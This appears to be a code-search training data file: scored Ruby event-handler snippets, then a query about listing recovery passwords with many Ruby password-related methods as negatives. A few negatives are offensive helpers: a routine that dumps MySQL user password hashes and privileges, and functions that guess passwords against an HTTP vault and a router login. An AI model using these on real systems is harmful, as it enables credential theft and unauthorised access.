"def add_handler_class handler_class\n unless (handler_class.is_a? Class) && (handler_class <= RubyArchive::Handler)\n raise TypeError, \"#{handler_class} is not a RubyArchive::Handler\"\n end\n @@archive_handlers << handler_class\n true\n end",
"def register_field_handler(name, handler); end",
"def method_missing(name, *args)\n @handler.send(name, *args)\n end",
"def on(action, func = nil, &block)\n func ||= block\n if SERVER_ACTIONS.include?(action)\n @server_handlers[action] << func\n else\n @client_handlers[action] << func\n end\n end",
"def register_handler(name, opts = {}, &block)\n klass = opts.delete(:class_name) || \"::#{name.to_s.camelize}\"\n create_handler_predicate_method name\n handlers[name] = Runner.new(name, klass.to_s.constantize, self, opts, &block)\n end",
"def handle\n @queue << \"handle\"\n end",
"def add_method_callback(klass, message)\n method = klass.instance_method(message)\n add_callback(HookR::MethodCallback.new(message, method, next_callback_index))\n end",
"def add_handlers\n #endofmotd\n @bot.on Cinch::Constants::RPL_ENDOFMOTD do |event|\n handle_endofmotd event\n end\n\n @bot.on :privmsg do |event|\n handle_privmsg event\n end\n\n @bot.on :action do |event|\n handle_action event\n end\n\n @bot.handlers.each do |handler|\n handler.instance_eval do\n @execute_in_callback = false\n end\n end\n end",
"def add_method_callback(klass, message)\n method = klass.instance_method(message)\n add_callback(Hookr::MethodCallback.new(message, method, next_callback_index))\n end",
"def register(event = nil, &handler)\r\n \r\n @handler = handler\r\n @event_type = event\r\n \r\n @event_type = :any unless event\r\n \r\n if @event_type == :any\r\n handler.instance_eval(&handler)\r\n end\r\n \r\n end",
"def regist(event, handler)\n @events[event] ||= []\n @events[event] << handler\n end",
"def add_callback(hook_name, handle_or_method=nil, &block)\n if block\n add_block_callback(hook_name, handle_or_method, block)\n else\n add_method_callback(hook_name, handle_or_method)\n end\n end",
"def add_callback(hook_name, handle_or_method=nil, &block)\n if block\n add_block_callback(hook_name, handle_or_method, block)\n else\n add_method_callback(hook_name, handle_or_method)\n end\n end",
"def dispatch(message)\n Turntabler.run { @handler.call(message) } if @handler\n end",
"def on_ready(&handler)\n @on_ready_handler = handler\n end",
"def make_handler_method( pattern, &block )\n\t\t\tmethname = self.make_handler_method_name( pattern, block )\n\t\t\tself.log.info \"Setting up #%s as a handler for %s\" % [ methname, pattern ]\n\t\t\tdefine_method( methname, &block )\n\t\t\treturn self.instance_method( methname )\n\t\tend",
"def pre_hook_send(handler); end",
"def use(middleware_class, *middleware_args)\n @handler.use(middleware_class, *middleware_args)\n end",
"def on_message(message)\n search_for = message.event.split(\"/\")\n raise InvalidBackendEvent(message.event) if search_for.size < 2\n klass = @handlers[search_for[0]] and handler = klass.method(search_for[1])\n raise UndefinedHandler.new(message.event) unless handler\n logger.info(\"#{message.event}, #{message.inspect}\")\n handler.call(message)\n end",
"def add_write_handler(regexp, code_ref)\n # return unless ref $_[1] eq 'CODE';\n\n @write_match.push([regexp, code_ref])\n end",
"def handler_method; end",
"def add_channel_open_handler( type, &block )\n ( @channel_open_handlers[ type ] ||= Array.new ).push block\n @channel_open_handlers.length\n end",
"def on(event, options = {}, &block)\n event = event.to_sym\n @event_handlers[event] ||= []\n @event_handlers[event] << Handler.new(event, options, &block)\n true\n end",
"def assign_handler(new_handler)\n Puerto::Handlers::Puerto.main.assign_handler(new_handler, self)\n end",
"def request_handler(request_handler)\n @search.request_handler = request_handler\n end",
"def add_hook_handlers(handler_hash)\n handler_hash.each do |hook, handlers|\n Array(handlers).each { |handler| on(hook, handler) }\n end\n end",
"def set_handler(name,type,method)\n raise \"type must be one of #{@handlers.keys}\" unless @handlers.keys.include?(type)\n Log.log.debug(\"setting #{type} handler for #{name}\")\n @handlers[type][name]=method\n end",
"def run(reactor, event, handle)\n raise \"Override me\"\n end",
"def on(event, &handler)\n # TODO raise error (for the time being)?\n end",
"def dispatch_to_handler(method, *args)\n if Creatary.consumer_handler.nil?\n LOGGER.error 'Application has not configured the Creatary consumer_handler'\n raise InvalidConsumerHandler.new 'Application has not configured the Creatary consumer_handler'\n end\n \n if Creatary.consumer_handler.respond_to?(method)\n begin\n return Creatary.consumer_handler.send(method, *args)\n rescue Creatary::Error => error\n LOGGER.error 'Application has suffered an internal error: ' + error.message + ', ' + error.body\n raise error\n end\n end\n \n end",
"def add_hook(payload_class, hook_arg = nil, &hook_block)\n hook = block_given? ? hook_block : hook_arg\n if !hook || !hook.is_a?(Proc)\n raise \"Must pass a proc either as an argument or a block\"\n end\n @message_hooks[payload_class] << hook\n end",
"def wrap(handler, rest_route)\n proc do |req|\n massage_request!(req)\n resp = handler.call(req)\n massage_response(resp, rest_route)\n end\n end",
"def listen\n amqp_listen do |msg|\n do_handle(msg)\n end\n end",
"def set_end_handler(handler)\n @end_handler = handler\n end",
"def with_http_handler(handler = nil, &blk)\n handler ||= Http::Handler.new(@http_handler, &blk)\n with_options(:http_handler => handler)\n end",
"def with_http_handler(handler = nil, &blk)\n handler ||= Http::Handler.new(@http_handler, &blk)\n with_options(:http_handler => handler)\n end",
"def add(level, *args)\n unless level_filtered?(level)\n event = create_log_event(level, *args)\n if EM.reactor_running?\n schedule_write(event)\n else\n safe_write(event)\n end\n true\n else\n false\n end\n end",
"def add_node_handler_class(handler_class)\n @node_handlers[class_name_without_modules(handler_class)] = handler_class\n end",
"def on(event, &handler)\n # TODO raise error?\n end",
"def install_signal_handler(signal, position=:end, &blk)\n raise ArgumentError, \"Unknown position: #{position}\" if ![:beginning, :end].include?(position)\n logger.debug { \"Installing signal handler for #{signal}\" }\n\n @signal_handlers[signal].insert((position == :beginning) ? 0 : -1, blk)\n\n Signal.trap(signal) {\n @signal_handler_pipe_writer.write_nonblock('.')\n @signal_handler_queue << signal\n }\n end",
"def start_handler\n end",
"def set_handler(handler)\n self.code = handler.to_yaml\n end",
"def register_handler(queues, opts={}, handler=nil, &block) #:nodoc:\n Array(queues).each do |queue|\n @handlers[queue] = [opts.symbolize_keys, handler || block]\n end\n end",
"def install_hook(side, event, callback)\n self.hooks[:\"#{ side }_#{ event }\"].push(callback)\n end",
"def call(message)\n @message = message\n if @processor\n @processor.call(message)\n else\n process\n end\n ensure\n @__handler_called__ = true\n end"
] | [
"0.7231306",
"0.70802605",
"0.6918257",
"0.67517906",
"0.6619087",
"0.6497206",
"0.6444436",
"0.64262986",
"0.63075036",
"0.6248153",
"0.621285",
"0.6183933",
"0.617584",
"0.61286837",
"0.5891722",
"0.5729914",
"0.5725149",
"0.5690471",
"0.56413794",
"0.5638347",
"0.5552255",
"0.5513339",
"0.55046207",
"0.5499442",
"0.54946107",
"0.5435877",
"0.53842777",
"0.5375725",
"0.5343435",
"0.5329399",
"0.53280157",
"0.53182966",
"0.53000826",
"0.5249207",
"0.52416295",
"0.52355325",
"0.5222756",
"0.52189314",
"0.52171",
"0.5198733",
"0.5196932",
"0.51865387",
"0.5150832",
"0.5142267",
"0.51378244",
"0.5133884",
"0.5128213",
"0.5123886",
"0.51208264",
"0.51064533",
"0.51047605",
"0.5104186",
"0.5099571",
"0.5093665",
"0.50903875",
"0.5065661",
"0.50581264",
"0.50479627",
"0.50446767",
"0.5035789",
"0.5034281",
"0.5017531",
"0.501716",
"0.5016032",
"0.5005734",
"0.500518",
"0.5003727",
"0.5003727",
"0.4995064",
"0.499058",
"0.4990231",
"0.49675393",
"0.49648726",
"0.4963986",
"0.4961545",
"0.49313655",
"0.4929",
"0.49231425",
"0.49175164",
"0.48994824",
"0.48987857",
"0.4895298",
"0.4870755",
"0.48670334",
"0.48626333",
"0.48534563",
"0.4840256",
"0.4838575",
"0.48235214",
"0.48127303",
"0.48127303",
"0.48114833",
"0.47935802",
"0.4789485",
"0.4783267",
"0.47825715",
"0.4772883",
"0.4771697",
"0.47538266",
"0.47502512"
] | 0.7232581 | 0 |
GET /recovery_passwords GET /recovery_passwords.json | def index
@recovery_passwords = RecoveryPassword.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @passwords = current_user.passwords\n end",
"def password\n respond_to do |format|\n format.html\n format.json { render json: { :password => get_password } }\n end\n end",
"def forgot_password\n user = validate_user(params['forgot_username'])\n\n devices = get_mfa_devices(user.id)\n\n status = user ? :ok : :not_found\n\n render json: devices, status: status\n end",
"def new_user_password\n client = Client.where(recovery_token: params[:recovery_token]).first\n\n if(client)\n render \"home/change_password_template\", layout: \"application\"\n else\n render \"home/change_password_template_error\"\n end\n\n end",
"def index\n @xmt_mgr_passwords = Xmt::Password.all\n end",
"def recover_password\n person = Person.find_by_email(params[:email])\n\n if person\n UserMailer.recovery(:key => CryptoHelper.encrypt(\"#{person.id}:#{person.salt}\"),\n :email => person.email,\n :username => person.username,\n :domain => APP_CONFIG.server_domain).deliver\n render_json :messages => \"Recovery mail sent to specified address.\", :status => :ok and return\n else\n render_json :messages => \"Record not found.\", :status => :not_found and return\n end\n\n end",
"def index\n @passwords = Password.all;\n end",
"def password_rest\n UserMailer.password_rest\n end",
"def passwords_file\n dir['passwords']\n end",
"def form_passwords(form) # Implement this in Form class\r\n { \r\n :passwords => [ \r\n form['password'],\r\n form['confirm_password']\r\n ]\r\n }\r\n end",
"def set_recovery_password\n @recovery_password = RecoveryPassword.find(params[:id])\n end",
"def zone_passwords(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone/passwords?#{parameters}\")\n end",
"def generate_recovery_codes\n code = Heroku::Auth.ask_for_second_factor\n\n recovery_codes = api.request(\n :expects => 200,\n :method => :post,\n :path => \"/account/two-factor/recovery-codes\",\n :headers => { \"Heroku-Two-Factor-Code\" => code }\n ).body\n\n display \"Recovery codes:\"\n recovery_codes.each { |c| display c }\n rescue RestClient::Unauthorized => e\n error Heroku::Command.extract_error(e.http_body)\n end",
"def generate_recovery_codes\n code = Heroku::Auth.ask_for_second_factor\n\n recovery_codes = api.request(\n :expects => 200,\n :method => :post,\n :path => \"/account/two-factor/recovery-codes\",\n :headers => { \"Heroku-Two-Factor-Code\" => code }\n ).body\n\n display \"Recovery codes:\"\n recovery_codes.each { |c| display c }\n rescue RestClient::Unauthorized => e\n error Heroku::Command.extract_error(e.http_body)\n end",
"def password_recovery(email, subject = \"CakeMail Password Recovery\", text = \"Your password is: \")\n session.request(\"CakeMail::API::ClassUser\", \"PasswordRecovery\", { :email => email, :subject => subject, :text => text })\n end",
"def recover_password(new_password)\n url = \"user/#{user_sys_name}/#{user_id}/recovery/?\"\n request = { newPassword: new_password }\n response = Uas::Query.execute(url, request: request, method: :put)\n case response[:code]\n when 200 then true\n else false\n end\n end",
"def recover_password\n raise Webapp::UserSessionExistsError if user_session\n if request.get?\n @handle_or_user_name = \"\" \n \n elsif request.post?\n @handle_or_user_name = params[:handle_or_email]\n raise Webapp::BadParametersError if @handle_or_user_name.nil? || @handle_or_user_name.empty?\n user = User.find_by_handle_or_email(@handle_or_user_name)\n #Should create a PasswordRecovery\n password_recovery = PasswordRecovery.create_password_recovery(user.id)\n #Should send an email\n UserMailer.deliver_recover_password_instructions(user)\n #TODO: Check why the message does not apears correctly in Web GUI\n #message = sprintf(t(:recover_password_instructions_sent),\n flash_notice(:recover_password_instructions_sent,user.email)\n redirect_to root_url\n #should flash a message and redirect to root_url\n \n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n \n rescue Webapp::UserSessionExistsError\n logger.error \"Attempt to recover a password within a user session. Client IP: \"+request.remote_ip\n flash_error(:user_session_exists)\n redirect_to root_url\n rescue Webapp::BadParametersError, ActiveRecord::RecordNotFound\n logger.error(\"Attempt to recover a password but email or user name was not provided or not found Email or Name was #{@email_or_user_name}. Client IP:\"+request.remote_ip)\n flash_error(:invalid_login_name_or_email)\n redirect_to recover_password_url\n end",
"def recover_password\n begin\n @user = User.find_by_email(params[:user][:email])\n UserMailer.send_password_recovery_mail(@user,\n edit_password_path(@user.authentication_token),\n request.host_with_port) \n flash[:notice] = \"We have sent the password to your email.\"\n rescue Exception => e\n flash[:notice] = \"We have sent the password to your email.\"\n end\n redirect_to root_path\n end",
"def password_recovery\n session[:user_id] = nil\n id = params[:uhash].slice(0, params[:uhash].length-40)\n @user = User.find_by_id(id)\n if not @user or (@user.id.to_s + Digest::SHA1.hexdigest(\"YA\" + @user.email + \"YA\") != params[:uhash])\n return render :text => \"Link is not valid or expired\"\n end\n r = Recovery.find_by_user_id(@user[:id])\n if not r or r[:recover_hash] != params[:hash] or (Time.now - r.updated_at) > 1.day\n return render :text => \"Link is not valid or expired\"\n end\n r.destroy\n session[:user_id] = @user.id\n session[:recovery] = true\n redirect_to schedule_url\n end",
"def pw_admin\n @user = User.find(params[:id])\n new_password = Devise.friendly_token(50)\n user.reset_password(new_password, new_password)\n user.send_rest_password_instructions\n end",
"def password\n if !@password_insync && resource[:api_admin] == :true\n update_admin_pass_with_rake\n end\n return resource[:password] if @password_insync\n return nil\n end",
"def get_password(type, key, password = nil)\n if ['db', 'user', 'service'].include?(type)\n secret node['openstack']['secret'][\"#{type}_passwords_data_bag\"], key, password\n else\n ::Chef::Log.error(\"Unsupported type for get_password: #{type}\")\n end\n end",
"def get_password(type, key)\n unless [:db, :user, :service, :token].include?(type)\n Chef::Log.error \"Unsupported type for get_password: #{type}\"\n return\n end\n\n if node[:garcon][:use_databags]\n if type == :token\n secret node[:garcon][:secret][:secrets_data_bag], key\n else\n secret node[:garcon][:secret][\"#{type}_passwords_data_bag\"], key\n end\n else\n node[:garcon][:secret][key][type]\n end\n end",
"def password_recovery_instructions\n PharmacistMailer.password_recovery_instructions\n end",
"def password\n Password.find(password_id)\n end",
"def guess_http_password(attempt)\n HTTParty.get(\n \"http://localhost:3001/bank/vault\",\n headers: {\n \"Authorization\" => \"Token token=#{attempt}\"\n }\n ).success?\n end",
"def update\n begin\n _params = update_password_params\n if _params[:password].length < Devise.password_length.min\n render json: {errors: [\"Too short password.\"]}, status: :bad_request\n return\n elsif _params[:password].length > Devise.password_length.max\n render json: {errors: [\"Too long password.\"]}, status: :bad_request\n return\n end\n user = User.reset_password_by_token(_params)\n render json: user, status: :ok\n rescue => e\n logger.error(\"Password update failed. #{e.message}\")\n render json: {errors: [\"Password update failed.\"]}, status: :internal_server_error\n return\n end\n end",
"def password_recovery_fail\n PharmacistMailer.password_recovery_fail\n end",
"def password\n conf['api']['password']\n end",
"def password_reset(token)\n get(\"/v1/password_resets/#{token}\")\n end",
"def password_recover\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n if user = LatoCore::Superuser.find_by(email: params[:email].downcase)\n # genero il codice da salvare come session code\n code = \"RECPSW-#{SecureRandom.urlsafe_base64}\"\n # genero il codice per formare l'url di recupero password\n code_url = URI.encode(\"#{user.id}::#{Time.now}::#{code}\")\n # memorizzo il session_code sul db\n user.update_attribute(:session_code, code)\n # invio una mail di recupero\n LatoCore::SuperusersMailer.recover_password(user.email, code_url).deliver_now\n flash[:success] = CORE_LANG['recover_password']['confirm_send']\n else\n flash[:warning] = CORE_LANG['superusers']['not_found']\n end\n redirect_to lato_core.login_path\n end",
"def edit_password\n @user = User.find_by_authentication_token(params[:id])\n render \"users/passwords/edit\" \n end",
"def password_reset_request\n end",
"def verifyPass\n pass=(encryptor(params[:password]))\n #puts(pass)\n options = {\n :body =>{\"password\": pass\n }.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4051/users/verify_pass?id=\"+ @current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def account_password\n get_account_password\n end",
"def get_password_data(instance_id)\n request(\n 'Action' => 'GetPasswordData',\n 'InstanceId' => instance_id,\n :idempotent => true,\n :parser => Fog::Parsers::AWS::Compute::GetPasswordData.new\n )\n end",
"def pass_recovery\n @user = TempUser.find_by(username: params[:username])\n @user = User.find_by(username: params[:username]) if !@user\n if @user.present?\n @new_password = SecureRandom.hex(5)\n @user.update(username: params[:username], password: @new_password, password_confirmation: @new_password)\n EmailNotification.send_recovery_email(@user,@new_password)\n render json: { status: 'New password has been sent to your email' }, status: :ok\n else\n render json: { status: 'Invalid username' }, status: :not_found\n end\n end",
"def lost_password\n (redirect_to(home_url); return) unless Setting.lost_password?\n if params[:token]\n @token = Token.find_token(\"recovery\", params[:token].to_s)\n if @token.nil? || @token.expired?\n redirect_to home_url\n return\n end\n @user = @token.user\n unless @user && @user.active?\n redirect_to home_url\n return\n end\n if request.post?\n @user.password, @user.password_confirmation = params[:new_password], params[:new_password_confirmation]\n if @user.save\n @token.destroy\n flash[:notice] = l(:notice_account_password_updated)\n redirect_to signin_path\n return\n end\n end\n render :template => \"account/password_recovery\"\n return\n else\n if request.post?\n user = User.find_by_mail(params[:mail].to_s)\n # user not found or not active\n unless user && user.active?\n flash.now[:error] = l(:notice_account_unknown_email)\n return\n end\n # user cannot change its password\n unless user.change_password_allowed?\n flash.now[:error] = l(:notice_can_t_change_password)\n return\n end\n # create a new token for password recovery\n token = Token.new(:user => user, :action => \"recovery\")\n if token.save\n Mailer.lost_password(token).deliver\n flash[:notice] = l(:notice_account_lost_email_sent)\n redirect_to signin_path\n return\n end\n end\n end\n end",
"def recovery_password_params\n params.require(:recovery_password).permit(:recovery_password_id, :state, :user_id, :token, :progress)\n end",
"def fetch(password)\r\n end",
"def create\n @recovery_password = RecoveryPassword.new(recovery_password_params)\n\n respond_to do |format|\n if @recovery_password.save\n format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido creado.' }\n format.json { render :show, status: :created, location: @recovery_password }\n else\n format.html { render :new }\n format.json { render json: @recovery_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def recover_password params\n user = find_with_email(params[:email])\n user.send_recover_password\n end",
"def reset_password\n if verify_token(params['reset_device_id'], params['reset_otp_token'])\n status = :ok\n response = set_password(session[:user_id], params['new_password'])\n else\n status = :unauthorized\n response = 'Invalid token'\n end\n\n render json: response, status: status\n end",
"def password\n connect\n password = self.class.query('CMD_API_VERIFY_PASSWORD',\n :user => resource[:username],\n :passwd => resource[:password]\n )\n if password[\"valid\"] == \"1\"\n return resource[:password]\n else\n return \"********\"\n end\n end",
"def recover\n @user = User.find_by password_reset_digest: params[:token]\n if !@user\n flash[:alert] = 'Invalid link'\n redirect_to '/password-recovery/remind-password'\n return\n end\n @token = params[:token]\n end",
"def reset_password\n service_response = UserManagement::ResetPassword.new(params).perform\n render_api_response(service_response)\n end",
"def passwords\n @users.each_value.to_a\n end",
"def reset_password\n if request.get?\n @key = params[:key]\n @user_id = params[:id]\n @password = \"\"\n @password_confirmation =\"\"\n raise Webapp::BadParametersError if @key.nil? || @user_id.nil?\n user = User.find(@user_id)\n #check if user has previouly requested a chenge to the password\n password_recovery = PasswordRecovery.find_by_user_id(@user_id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n raise Webapp::BadParametersError if @key != password_recovery.key\n elsif request.put?\n @key = params[:key]\n \n @user_id = params[:id]\n @password = params[:password]\n @password_confirmation =params[:password_confirmation]\n raise Webapp::BadParametersError if (@key.nil? || @key.empty? || @user_id.nil? || @user_id.empty? ||\n @password.nil? || @password.empty? || @password_confirmation.nil? || @password_confirmation.empty?)\n \n #TODO: link this validation to model validation\n raise Webapp::InvalidPasswordError if @password.size < 5 || @password.size > 150\n raise Webapp::NoPasswordMatchError if @password != @password_confirmation\n \n user = User.find(@user_id)\n password_recovery = PasswordRecovery.find_by_user_id(user.id)\n raise Webapp::NoSuchPasswordRecovery if password_recovery.nil?\n \n #now we can change the password and remove the PasswordRecovery\n #Do this inside a small transaction\n user.transaction do\n user.password=@password\n PasswordRecovery.destroy(password_recovery.id)\n user.save!\n flash_notice(:password_changed_successfully)\n redirect_to new_session_url\n end\n else\n raise Webapp::BadRequestError\n end\n \n rescue Webapp::InvalidPasswordError\n logger.error(\"Invalid password format. Client IP: \"+request.remote_ip)\n flash_error(:invalid_password)\n render :action=>:reset_password\n rescue Webapp::NoPasswordMatchError\n logger.error(\"Password don't match. Client IP: \"+request.remote_ip)\n flash_error(:password_dont_match)\n render :action=>:reset_password\n #Error Handling\n rescue Webapp::BadRequestError\n logger.error(\"Invalid Request type. Client IP: \"+request.remote_ip)\n flash_error(:invalid_request)\n redirect_to root_url\n rescue Webapp::NoSuchPasswordRecovery \n logger.error(\"Trying to reset password for a user that haven't request a pass change. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n \n rescue Webapp::BadParametersError\n logger.error(\"Invalid data provided when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:reset_password_invalid_key)\n redirect_to root_url\n rescue ActiveRecord::RecordNotFound\n logger.error(\"User not found when reseting password. Client IP: \"+request.remote_ip)\n flash_error(:user_not_found)\n redirect_to root_url\n end",
"def lost_password\n (redirect_to(home_url); return) unless Setting.lost_password?\n if params[:token]\n @token = Token.find_token(\"recovery\", params[:token].to_s)\n if @token.nil? || @token.expired?\n redirect_to home_url\n return\n end\n @user = @token.user\n unless @user && @user.active?\n redirect_to home_url\n return\n end\n if request.post?\n @user.password, @user.password_confirmation = params[:new_password], params[:new_password_confirmation]\n if @user.save\n @token.destroy\n Mailer.password_updated(@user)\n flash[:notice] = l(:notice_account_password_updated)\n redirect_to @on_success_url || home_url\n return\n end\n end\n render :template => \"account/password_recovery\"\n return\n else\n if request.post?\n email = params[:mail].to_s\n user = User.find_by_mail(email)\n # user not found\n unless user\n flash.now[:error] = l(:notice_account_unknown_email)\n redirect_to @on_falure_url || :back\n return\n end\n unless user.active?\n handle_inactive_user(user, lost_password_path)\n redirect_to @on_falure_url || :back\n return\n end\n # user cannot change its password\n unless user.change_password_allowed?\n flash.now[:error] = l(:notice_can_t_change_password)\n redirect_to @on_falure_url || :back\n return\n end\n # create a new token for password recovery\n token = Token.new(:user => user, :action => \"recovery\")\n if token.save\n # Don't use the param to send the email\n recipent = user.mails.detect {|e| email.casecmp(e) == 0} || user.mail\n Mailer.lost_password(token, recipent).deliver\n flash[:notice] = l(:notice_account_lost_email_sent)\n redirect_to @on_success_url || home_url\n return\n end\n end\n end\n end",
"def devise_password_expired(mapping, controllers)\n resource :password_expired, :only => [:show, :update], :path => mapping.path_names[:password_expired], :controller => controllers[:password_expired]\n end",
"def index\n @secure_passwords = SecurePassword.where(:user_id => current_user.id)\n end",
"def password_reset\n Notifications.password_reset\n end",
"def forgot_password\n user = User.find_by(email: params[:email])\n\n return render json: { error: 'Something went wrong.' }, status: 422 unless user\n\n user.generate_password_token!\n send_reset_password_email(user.email, user.reload.reset_password_token)\n\n render json: { success: true }, status: 204\n end",
"def lost_password\r\n redirect_to :controller => 'welcome' and return unless Setting.lost_password?\r\n if params[:token]\r\n @token = Token.find_by_action_and_value(\"recovery\", params[:token])\r\n redirect_to :controller => 'welcome' and return unless @token and [email protected]?\r\n @user = @token.user\r\n if request.post?\r\n @user.password, @user.password_confirmation = params[:new_password], params[:new_password_confirmation]\r\n if @user.save\r\n journal(\"recovery pass\",@user.id)\r\n @token.destroy\r\n flash[:notice] = l(:notice_account_password_updated)\r\n redirect_to :action => 'login'\r\n return\r\n end\r\n end\r\n render :template => \"account/password_recovery\"\r\n return\r\n else\r\n if request.post?\r\n user = User.find_by_mail(params[:mail])\r\n # user not found in db\r\n flash.now[:notice] = l(:notice_account_unknown_email) and return unless user\r\n # create a new token for password recovery\r\n token = Token.new(:user => user, :action => \"recovery\")\r\n if token.save\r\n Mailer.deliver_lost_password(token)\r\n journal(\"mailer-lost pass-\"+user.mail,user.id)\r\n redirect_to :controller => 'welcome', :action => 'lost_email_sent'\r\n\r\n # flash[:notice] = l(:notice_account_lost_email_sent)\r\n # redirect_to :action => 'login'\r\n\r\n return\r\n end\r\n end\r\n end\r\n end",
"def password_edit\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n redirect_to lato_core.root_path if core_controlSession\n # splitto il token ricevuto (formato: id utente, timestamp, session_code)\n data = URI.decode(params[:token]).split('::')\n # controllo che il formato sia corretto\n if data.length != 3\n flash[:warning] = CORE_LANG['recover_password']['recover_error_token']\n redirect_to lato_core.login_path and return false\n end\n # identifico i singoli dati\n user_id = data.first\n timestamp = data.second\n session_code = data.last\n # cerco l'utente e, se non esiste, stampo un errore\n @user = LatoCore::Superuser.find(user_id)\n if !@user\n flash[:warning] = CORE_LANG['recover_password']['recover_error_user']\n redirect_to lato_core.login_path and return false\n end\n # verifico che il token sia ancora valido e non abbia superato le 24 ore\n if !time = timestamp.to_time || time < Time.now - 24.hours\n flash[:warning] = CORE_LANG['recover_password']['recover_error_token_time']\n redirect_to lato_core.login_path and return false\n end\n # verifico che il session_code del token sia corretto\n if @user.session_code != session_code\n flash[:warning] = CORE_LANG['recover_password']['recover_error_token']\n redirect_to lato_core.login_path and return false\n end\n # genero un nuovo token per togliere la validita' al link di recupero password\n # e lo memorizzo all'utente\n new_code = SecureRandom.urlsafe_base64\n @user.update_attribute(:session_code, new_code)\n end",
"def update\n respond_to do |format|\n if @recovery_password.update(recovery_password_params)\n format.html { redirect_to @recovery_password, notice: 'Recovery password ha sido actualizado.' }\n format.json { render :show, status: :ok, location: @recovery_password }\n else\n format.html { render :edit }\n format.json { render json: @recovery_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def select_passwords(id)\n return db_connection().execute('SELECT p.name as pass_name, random_str, c.name as cat_name, c.id as cat_id, p.id as pass_id FROM passwords p JOIN pass_cat pc ON p.id=pc.pass_id JOIN categories c ON pc.cat_id=c.id WHERE p.user_id=?', id)\n end",
"def show\n return render_404 unless @user\n\n if @user.reset_password_sent_at < RailsJwtAuth.reset_password_expiration_time.ago\n return render_410\n end\n\n render_204\n end",
"def passwords\n transform_users do |name, entry|\n plaintext = entry.fetch(:password).to_s\n @hashers.fetch(name).call(plaintext)\n end\n end",
"def recover_passcode()\n return MicrosoftGraph::Users::Item::ManagedDevices::Item::RecoverPasscode::RecoverPasscodeRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def get_passwords\n count=0\n zcount=0\n begin\n columns=[ 'user', 'host', 'password', 'super_priv', 'file_priv', 'insert_priv', 'update_priv', 'Create_user_priv', 'create_priv', 'drop_priv', 'grant_priv' ]\n titlerow = []\n columns.each { |col| titlerow << col.sub('_priv', '') }\n data=[] # Array of Arrays for table later\n data << titlerow\n query = @db_connection.query(\"SELECT COUNT(#{columns[0]}) FROM mysql.user;\")\n query.each { |x| zcount = x[0].to_i }\n while count.to_i < zcount.to_i\n row_data = []\n columns.each do |col|\n query = @db_connection.query(\"SELECT #{col} FROM mysql.user limit #{count},1;\")\n query.each { |x| row_data << x[0] }\n end\n data << row_data unless row_data.empty?\n count = count.to_i + 1\n end\n if data.size == 1\n print_error(\"Unable to dump any passwords from mysql.user!\")\n print_error(\"Lack of privileges? IDK....\")\n print_line(\"\")\n return false\n else\t\n print_good(\"MySQL Users & Passwords:\")\n pad = (data[0].size * 3) + data[0].size\n strsize = data[0].join().to_s.size\n breaker=\"\\#\" * (pad + strsize)\n print_good(\"#{breaker}\")\n table = data.to_table(:first_row_is_head => true)\n @passwords=table.to_s\n print_line(\"#{@passwords}\")\n print_good(\"#{breaker}\")\n return true\n end\n rescue Mysql::Error => e\n print_error(\"Problem Dumping MySQL Usernames & Passwords!\")\n print_error(\"#{e}\")\n return false\n end\n end",
"def is_wrong_password? password\nuri = URI.parse 'http://rubyschool.us/router'\n#response = Net::HTTP.get uri\n#p response\nresponse = Net::HTTP.post_form(uri, :login => \"admin\", :password => password).body\np response.include? \"denied\" # Тело объекта, который мы получаем через запрос\nend",
"def get_password(password)\n password\n end",
"def generic_passwords\n Scope.new(Sec::Classes::GENERIC)\n end",
"def forgot_password\n begin\n if params[:email].present?\n user = User.find_by_email(params[:email])\n if user\n user.send_reset_password_instructions({\n redirect_url: forgot_password_redirect_url\n })\n\n response = {:code => \"0\",:status => \"Success\",:message => \"Reset password instruction details has been sent to your email\"}\n else\n response = {:code => \"1\",:status => \"Error\",:message => \"User not exist\"}\n end\n else\n response = {:code => \"1\",:status => \"Error\",:message => \"Please pass an email\"}\n end\n rescue Exception => e\n response = {:code => \"-1\",:status => \"Error\",:message => e.message}\n end\n render :json => response\n end",
"def forgot_password\n password_customer\n end",
"def password_recovery_success\n PharmacistMailer.password_recovery_success\n end",
"def old_password\n nil\n end",
"def verify_credentials\n get('/account/verify_credentials.json')\n end",
"def forgot_password\n Notifications.forgot_password\n end",
"def new_reset_password\n end",
"def devise_password_expired(mapping, controllers)\n resource :password_expired, only: %i(show update), path: mapping.path_names[:password_expired],\n controller: controllers[:password_expired]\n end",
"def password\n @user = User.find_by(id: params[:id])\n if @user.present?\n render :action => \"password\"\n else\n redirect_to new_user_session_path, flash: { notice: \"User not found in our db with your email!\" }\n end\n end",
"def passwords(data, pkt)\n\tif( (data =~ /(\\s|_)(p|P)(a|A)(s|S)(s|S)(w|W)(o|O)(r|R)(d|D)(\\s|:|=)/) != nil )\n\t\tputs $alertNum.to_s() + \". ALERT: \" + \"password leaked in the clear from \" + pkt.ip_saddr + \" (\" + pkt.proto.last + \")!\" \n\t\t$alertNum += 1\n\tend\n\nend",
"def password\n\n end",
"def admin_reset_password\n service_response = AdminManagement::Login::AdminResetPassword.new(params).perform\n render_api_response(service_response)\n end",
"def manager_password\n\t\t@manager_password\n\tend",
"def readPasswords()\n\tFile.foreach('/home/pi/simple-network-ping/passwords.txt').with_index { |line|\n\t $nums << line.chomp\n\t}\nend",
"def getpassword()\r\n return getvalue(SVTags::PASSWORD)\r\n end",
